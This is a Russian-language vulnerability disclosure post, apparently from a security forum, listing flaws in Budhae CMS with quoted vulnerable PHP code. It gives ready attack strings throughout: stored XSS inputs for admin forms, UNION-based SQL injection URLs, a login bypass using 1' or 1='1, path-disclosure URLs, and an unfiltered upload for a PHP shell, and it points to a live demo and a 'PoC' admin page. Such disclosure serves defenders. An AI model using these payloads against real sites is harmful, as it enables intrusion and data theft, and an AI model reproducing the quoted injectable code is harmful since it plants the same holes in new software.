Множественные уязвимости в Budhae CMS
Нашёл - BigBear
URL разработчика -
www.asuhanov.com/ourcms.php
demo -
_ttp://demo.budhaecms.ru/budhae/index.php
Active XSS при добавлении/просмотре пользователя
Уязвимый код
/mods/component_user/add_user.php
Код:
Code:
if ($_POST['process']==1)
{
$ADDUSER['login']=$_POST['login'];
$ADDUSER['fullname']=$_POST['fullname'];
$ADDUSER['types']=$_POST['types'];
$ADDUSER['pass']=$_POST['pass'];
$ADDUSER['confirm']=$_POST['confirm'];
if ($_POST['pass']==$_POST['confirm']){
if ($SID->NewUser($ADDUSER)==1){echo ShowMessage('Пользователь добавлен',1);}else{echo ShowMessage('Такой пользователь уже существует',0);}
echo ShowMessage('Пароли не совпадают',0);
}else{
echo ShowMessage('Пароли не совпадают',0);
}
}
/mods/component_user/list_user.php
Код:
Code:
$USERS = $SID->GetListOfUser();
$PRNUSER='';
for ($i=0;$iПользователь: '.$USERS[$i]["budhae_login"].' ('.$USERS[$i]["budhae_fullname"].') - '.$USERS[$i]["budhae_type"].' - Редактировать Удалить
';
}
Вектор атаки - добавляем пользователя в админке http://site/admin/b_users.php
Login = alert(1234)
ФИО = alert(12345)
Active XSS при редактировании карты сайта
Уязвимый код
/classes/budhae_webpage.php
Код:
Code:
function AddNewPages($INFO){
include_once ("sql.php");
$execute2 = new DBConnect;
$execute2->Connect();
$SQL="INSERT INTO `webpages` (`name`,`url`,`type`) VALUES ('".$INFO["name"]."','".$INFO["url"]."','".$INFO["type"]."');";
$dump = $execute2->Query($SQL);
$execute2->Close();
...
function GetAllPages(){
include_once ("sql.php");
$execute = new DBConnect;
$execute->Connect();
$SQL="SELECT * FROM `webpages`";
$dump = $execute->Query($SQL);
$Count=0;
while ($row=mysql_fetch_array($dump)){
$SID[$Count]['id']=$row['id'];
$SID[$Count]['name']=$row['name'];
$SID[$Count]['url']=$row['url'];
$SID[$Count]['type']=$row['type'];
$Count++;
};
$execute->Close();
return $SID;
}
Вектор атаки
Добавляем новую страницу http://site/admin/b_weburl.php?mode=add&step=1
Название = alert(100)
URL = alert(200)
Active XSSпри добавлении фото
Уязвимый код
/classes/budhae_gallery.php
Код:
Code:
function AddGallery($name,$gid,$tn)
{
include_once ("sql.php");
$execute2 = new DBConnect;
$execute2->Connect();
$TableName='bd_'.$gid.'_galleryname';
$SQL="INSERT INTO `".$TableName."` (`gnames`,`description1`) VALUES ('".$name."','".$tn."');";
$dump = $execute2->Query($SQL);
$execute2->Close();
}
...
function GetAllGallery()
{
include_once ("sql.php");
$execute = new DBConnect;
$execute->Connect();
$SQL="SELECT * FROM `gallery_table`";
$dump = $execute->Query($SQL);
$Count=0;
while ($row=mysql_fetch_array($dump)){
$SID[$Count]['id']=$row['id'];
$SID[$Count]['name']=$row['name'];
$SID[$Count]['idgallery']=$row['idgallery'];
$Count++;
};
Вектор атаки
Добавляем новую галлерею http://site/admin/b_gallery.php?gid=&method=add
Название галереи = alert(100)
SQL-Injection при просмотре "Типа Новостей"
Уязвимый код
/classes/budhae_cats.php
Код:
Code:
function GetPageNameById($id,$gid){
$execute = new DBConnect;
$execute->Connect();
$TableName='bd_'.$gid.'_list';
$SQL="SELECT * FROM `".$TableName."` WHERE `id`=".$id." ORDER BY `show` ASC";
$dump = $execute->Query($SQL);
while ($row=mysql_fetch_array($dump)){
$datetotal = $row['name'];
};
$execute->Close();
return $datetotal;
}
Exploit
http://site/admin/b_catsuser.php?gid=MyCats&method=edit&id=2+and+1=1 +group+by+3
http://site/admin/b_catsuser.php?gid=MyCats&method=edit&id=2+and+1=1 +union+select+1,@@version,3
SQL-Injection при просмотре "Фотоальбома"
Уязвимый код
/classes/budhae_cats.php
Код:
Code:
function GetPageNameById($id,$gid){
include_once ("sql.php");
$execute = new DBConnect;
$execute->Connect();
$TableName='bd_'.$gid.'_galleryname';
$SQL = "SELECT * FROM `".$TableName."` WHERE `id` =".$id;
$dump = $execute->Query($SQL);
while ($row=mysql_fetch_array($dump)){
$SName = $row['gnames'];
};
$execute->Close();
return $SName;
}
Exploit
http://site/admin/b_catsuser.php?gid=MyCats&method=edit&id=2+and+1=1 +group+by+7
http://site/admin/b_catsuser.php?gid=MyCats&method=edit&id=2+and+1=1 +union+select+1,@@version,3,4,5,6,7
ByPass Authentication
Уязвимый код
/classes/budhae_user.php
Код:
Code:
function UserLogin($USERID){
$USERID['login']=strtolower($USERID['login']);
include_once ("sql.php");
$execute = new DBConnect;
$execute->Connect();
$SQL="SELECT * FROM users WHERE `login`='".$USERID['login']."' AND `password` ='".$USERID['password']."' LIMIT 1;";
$dump = $execute->Query($SQL);
$row=mysql_fetch_array($dump);
@session_start();
$_SESSION['budhae_login']=$row['login'];
$_SESSION['budhae_password']=$row['password'];
$_SESSION['budhae_type']=$row['type'];
$_SESSION['budhae_fullname']=$row['fullname'];
$_SESSION['budhae_date']=$row['date'];
$_SESSION['budhae_status']='approved';
$_SESSION['unique']=$row['unique'];;
return session_id();
$execute->Close();
}
Exploit
http://site/admin/index.php
login= 1' or 1='1
pass = 1' or 1='1
Раскрытие путей при любом обращении к файлам в /mods
_ttp://site/admin/mods/component_ftp/companent_main.php
_ttp://site/admin/mods/component_detect_cats.php
Код:
Code:
Fatal error: Class 'Files' not found in /var/www/clients/client11/web106/web/demo/budhae/mods/component_ftp/companent_main.php on line 3
Код:
Code:
Fatal error: Class 'Components' not found in /var/www/clients/client11/web106/web/demo/budhae/mods/component_detect_cats.php on line 7
Заливка шелла
_ttp://site/admin/filecomponent.php
Загружаемые расширения
не фильтруются --->
shell.php
P.S. Очень дырявый и бажный движок. Перед покупкой 100 раз подумайте !!!
PoC: http://ioanidi.com/admins/